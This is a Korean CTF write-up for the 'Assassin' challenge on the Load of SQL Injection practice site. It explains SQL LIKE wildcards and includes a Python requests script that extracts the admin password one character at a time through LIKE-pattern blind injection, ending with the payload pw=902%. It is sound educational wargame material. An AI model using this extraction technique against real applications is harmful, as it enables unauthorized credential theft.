[Load of SQL Injection] Assassin(SQL like wildkard)
문제를 보면 평소와 다르게 '='(등호)를 쓰지 않고 'like'를 쓰고 있다.
평소에 like는 '='의 우회 용도로만 썼던 터라 이게 뭔지 했지만 like 문법에 대해서 잠깐만이라도 검색해 보면
like에 와일드 카드가 있다는 것을 알 수 있다.
SQL like 사용법, 문법, 와일드카드
% | 문자가 없거나, 한 글자 이상의 문자열 (ex: (공백), a, asdfsdf~) |
_ | 한 글자의 문자 (ex: a, b, 1) |
5% | 5로 시작하는 문자열 (ex: 5, 5dsdf~) |
%5 | 5로 끝나는 문자열 (ex: 5, dsdf~5) |
_5% | 두번째 자리가 5인 문자열 (ex: 25, 85ieds) |
_2_5% | 두번째 자리가 2, 네번째 자리가 5인 문자열 (ex: 6245, i2u5wis~) |
______(언더바 6개) | 6자리 문자열 (ex: 123456, abcdef) |
이 외에 [], -, ^를 쓰는 방법이 있으나 이번 문제에는 쓰이지 않습니다.
like의 사용에 대해서 더 알고 싶거나 예시를 더 보고 싶으신 분들은 아래 링크를 참고해 주세요.
https://audgnssweet.tistory.com/65
(MySQL) 와일드카드 기반 like 검색과 예시
훈수/저작권 관련 지적 환영합니다 - 댓글 또는 audgnssweet@naver.com 와일드카드, like 검색 Like 검색은 조건 검색을 할 때 특정 column의 데이터가 특정 패턴을 포함하고 있는지 검색할 때 사용합니다. l
audgnssweet.tistory.com
자 그럼 admin의 pw 자릿수를 얻어 봅시다.
URL+ ?pw=_______ (언더바 8개)
입력 결과: Hello guest
입력 결과 Hello guest지만, 부등호도 넣어가며 다른 값을 시도한 결과,
admin의 pw길이는 guest와 같기 때문에, table에 값이 먼저 들어간 guest로 출력된 다는 것을 알게 되었습니다.
PW길이 =8
각 자리의 글자는, 파이썬을 이용해 찾았습니다.
import requests
cookies={'PHPSESSID':'쿠키값'}
url ="https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw="
length=0
for i in range(1, 9):
for j in range(48, 90):#숫자부터 대문자z까지
search_str=('_')*(i-1)+chr(j)+'%'
#print("search_str: "+search_str)
response= requests.get(url+search_str, cookies=cookies)
#print(response.text)
if response.text.find("Hello admin") !=-1:
print(f"found in admin-{i}번째: "+chr(j))
break
if response.text.find("Hello guest") !=-1:
print(f"found in guest-{i}번째: "+chr(j))
break
1. pw=9% --> Hello guest 출력
2. pw=_0% --> Hello guest 출력
3. pw=__2% --> Hello admin 출력
위의 값을 표로 정리하자면,
guest의 pw | 90______ |
admin의 pw | 902_____ |
즉, admin'pw와 guest'pw 가 각 자리수에 같은 번호가 있다면 Hello guest로 출력된다는 것을 조심해야 합니다.
URL + ?pw=902% 입력
성공!